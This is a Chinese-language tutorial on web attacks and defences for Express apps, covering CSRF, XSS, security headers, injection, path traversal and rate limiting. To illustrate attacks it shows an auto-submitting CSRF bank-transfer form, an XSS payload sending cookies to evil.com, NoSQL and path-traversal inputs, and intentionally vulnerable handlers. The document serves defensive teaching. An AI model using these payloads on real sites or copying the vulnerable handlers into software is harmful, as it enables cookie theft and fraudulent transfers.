常見攻擊與防禦:CSRF、XSS 與安全 Headers
安全是 Web 開發的重中之重。本篇將介紹最常見的攻擊手法和防禦措施。
一、 CSRF(跨站請求偽造)
1.1 攻擊原理
CSRF 利用瀏覽器自動發送 Cookie 的特性:
1.2 攻擊範例
html
<!-- evil.com 的頁面 -->
<html>
<body onload="document.forms[0].submit()">
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker-account" />
<input type="hidden" name="amount" value="10000" />
</form>
</body>
</html>1.3 防禦方法
1. CSRF Token
javascript
// 生成 Token
const csrfToken = crypto.randomBytes(32).toString("hex");
req.session.csrfToken = csrfToken;
// 嵌入表單
app.get("/form", (req, res) => {
res.send(`
<form method="POST" action="/transfer">
<input type="hidden" name="_csrf" value="${req.session.csrfToken}">
<input name="to">
<input name="amount">
<button>Submit</button>
</form>
`);
});
// 驗證 Token
app.post("/transfer", (req, res) => {
if (req.body._csrf !== req.session.csrfToken) {
return res.status(403).send("Invalid CSRF token");
}
// 處理請求...
});2. SameSite Cookie
javascript
res.cookie("session", token, {
httpOnly: true,
secure: true,
sameSite: "strict", // 或 'lax'
});3. 驗證 Origin/Referer
javascript
function csrfProtection(req, res, next) {
const origin = req.headers.origin || req.headers.referer;
if (!origin || !allowedOrigins.includes(new URL(origin).origin)) {
return res.status(403).send("Invalid origin");
}
next();
}4. 使用 csurf 套件
javascript
const csurf = require("csurf");
const csrfProtection = csurf({ cookie: true });
app.use(cookieParser());
app.use(csrfProtection);
// 獲取 Token
app.get("/form", (req, res) => {
res.render("form", { csrfToken: req.csrfToken() });
});二、 XSS(跨站腳本攻擊)
2.1 攻擊類型
| 類型 | 說明 | 範例 |
|---|---|---|
| Stored XSS | 惡意腳本存入資料庫 | 留言板注入 |
| Reflected XSS | 惡意腳本在 URL 中 | 搜尋結果反射 |
| DOM-based XSS | 客戶端 JavaScript 漏洞 | 前端直接操作 DOM |
2.2 攻擊範例
Stored XSS
javascript
// 用戶發表留言
// 惡意內容:<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
// 如果直接輸出:
app.get("/comments", async (req, res) => {
const comments = await Comment.find();
res.send(`
<div>
${comments.map((c) => `<p>${c.content}</p>`).join("")}
</div>
`);
// 惡意腳本會被執行!
});Reflected XSS
javascript
// URL: /search?q=<script>alert('XSS')</script>
app.get("/search", (req, res) => {
res.send(`<h1>搜尋:${req.query.q}</h1>`);
// 腳本被執行!
});2.3 防禦方法
1. 輸出編碼
javascript
const escapeHtml = require("escape-html");
app.get("/search", (req, res) => {
res.send(`<h1>搜尋:${escapeHtml(req.query.q)}</h1>`);
// <script> 變成 <script>
});2. 使用安全的模板引擎
javascript
// EJS、Pug 等模板引擎預設會轉義
// EJS
<h1><%= userInput %></h1> // 自動轉義
// ⚠️ 危險:不轉義輸出
<h1><%- userInput %></h1> // 不要用於用戶輸入!3. Content Security Policy (CSP)
javascript
app.use((req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
);
next();
});4. 輸入驗證
javascript
const sanitizeHtml = require("sanitize-html");
// 只允許安全的 HTML 標籤
const clean = sanitizeHtml(userInput, {
allowedTags: ["b", "i", "em", "strong", "a"],
allowedAttributes: {
a: ["href"],
},
});5. HttpOnly Cookie
javascript
// 即使有 XSS 漏洞,也無法竊取 Cookie
res.cookie("session", token, { httpOnly: true });三、 安全 Headers
3.1 使用 Helmet
javascript
const helmet = require("helmet");
app.use(helmet());3.2 重要 Headers 詳解
Content-Security-Policy (CSP)
http
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
form-action 'self';| 指令 | 說明 |
|---|---|
default-src | 預設來源 |
script-src | JavaScript 來源 |
style-src | CSS 來源 |
img-src | 圖片來源 |
connect-src | AJAX/WebSocket 來源 |
frame-ancestors | 誰可以 iframe |
form-action | 表單提交目標 |
javascript
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://trusted-cdn.com"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
formAction: ["'self'"],
},
})
);X-Frame-Options
防止 Clickjacking:
http
X-Frame-Options: DENYjavascript
app.use(helmet.frameguard({ action: "deny" }));X-Content-Type-Options
防止 MIME 類型嗅探:
http
X-Content-Type-Options: nosniffjavascript
app.use(helmet.noSniff());Strict-Transport-Security (HSTS)
強制使用 HTTPS:
http
Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadjavascript
app.use(
helmet.hsts({
maxAge: 31536000,
includeSubDomains: true,
preload: true,
})
);X-XSS-Protection
http
X-XSS-Protection: 1; mode=blockNOTE
現代瀏覽器已不推薦使用,CSP 是更好的選擇。
Referrer-Policy
控制 Referer 標頭:
http
Referrer-Policy: strict-origin-when-cross-originjavascript
app.use(helmet.referrerPolicy({ policy: "strict-origin-when-cross-origin" }));四、 其他常見攻擊
4.1 SQL Injection
javascript
// ❌ 危險
const query = `SELECT * FROM users WHERE id = ${userId}`;
// ✅ 安全:參數化查詢
const users = await db.query("SELECT * FROM users WHERE id = ?", [userId]);
// ✅ 安全:ORM
const user = await User.findById(userId);4.2 NoSQL Injection
javascript
// ❌ 危險
const user = await User.findOne({ email: req.body.email });
// 如果 email 是 { "$gt": "" },會返回所有用戶!
// ✅ 安全:類型驗證
const email = String(req.body.email);
const user = await User.findOne({ email });
// ✅ 安全:使用 Joi 驗證
const { email } = Joi.object({
email: Joi.string().email().required(),
}).validate(req.body);4.3 Path Traversal
javascript
// ❌ 危險
app.get("/files/:name", (req, res) => {
res.sendFile(`/uploads/${req.params.name}`);
});
// 如果 name 是 ../../../etc/passwd...
// ✅ 安全
const path = require("path");
app.get("/files/:name", (req, res) => {
const safePath = path.basename(req.params.name); // 移除路徑
const fullPath = path.join(__dirname, "uploads", safePath);
// 確保在 uploads 目錄內
if (!fullPath.startsWith(path.join(__dirname, "uploads"))) {
return res.status(403).send("Access denied");
}
res.sendFile(fullPath);
});4.4 Denial of Service (DoS)
javascript
// 請求限流
const rateLimit = require("express-rate-limit");
app.use(
rateLimit({
windowMs: 15 * 60 * 1000, // 15 分鐘
max: 100, // 最多 100 次請求
message: "Too many requests",
})
);
// Body 大小限制
app.use(express.json({ limit: "10kb" }));
// 請求超時
app.use((req, res, next) => {
req.setTimeout(30000, () => {
res.status(408).send("Request timeout");
});
next();
});五、 安全最佳實踐清單
5.1 認證與授權
markdown
□ 使用強密碼雜湊(bcrypt, argon2)
□ 實作登入失敗鎖定
□ 敏感操作要求重新認證
□ 實作最小權限原則
□ Token 設置合理過期時間5.2 資料驗證
markdown
□ 所有輸入都要驗證
□ 輸出時進行編碼
□ 使用白名單而非黑名單
□ 限制檔案上傳類型和大小5.3 傳輸安全
markdown
□ 使用 HTTPS
□ 設置 HSTS
□ Cookie 設置 Secure 標誌
□ 敏感資料不放在 URL5.4 錯誤處理
markdown
□ 生產環境不顯示堆疊追蹤
□ 錯誤訊息不洩露系統資訊
□ 記錄安全相關事件六、 完整安全配置範例
javascript
const express = require("express");
const helmet = require("helmet");
const rateLimit = require("express-rate-limit");
const mongoSanitize = require("express-mongo-sanitize");
const xss = require("xss-clean");
const hpp = require("hpp");
const app = express();
// 安全標頭
app.use(helmet());
// 限流
app.use(
"/api",
rateLimit({
max: 100,
windowMs: 60 * 60 * 1000,
message: "Too many requests from this IP",
})
);
// Body 解析限制
app.use(express.json({ limit: "10kb" }));
// NoSQL 注入防護
app.use(mongoSanitize());
// XSS 清理
app.use(xss());
// 防止參數污染
app.use(hpp());
// CORS
app.use(
cors({
origin: ["https://myapp.com"],
credentials: true,
})
);
// CSP
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.myapp.com"],
frameAncestors: ["'none'"],
},
})
);
// 錯誤處理
app.use((err, req, res, next) => {
console.error(err.stack);
res.status(err.status || 500).json({
error:
process.env.NODE_ENV === "production"
? "Something went wrong"
: err.message,
});
});總結
| 攻擊 | 防禦 |
|---|---|
| CSRF | CSRF Token + SameSite Cookie |
| XSS | 輸出編碼 + CSP + HttpOnly |
| SQL Injection | 參數化查詢 |
| Clickjacking | X-Frame-Options |
| MIME 嗅探 | X-Content-Type-Options |
> **安全不是選項,是必需**。使用 `helmet` 作為基礎,根據需求調整配置。
進階挑戰
- 設置一個嚴格的 CSP 政策,讓你的網站完全不執行內聯腳本。
- 研究 Subresource Integrity (SRI),確保 CDN 資源的完整性。
- 實作一個安全審計日誌系統,記錄所有敏感操作。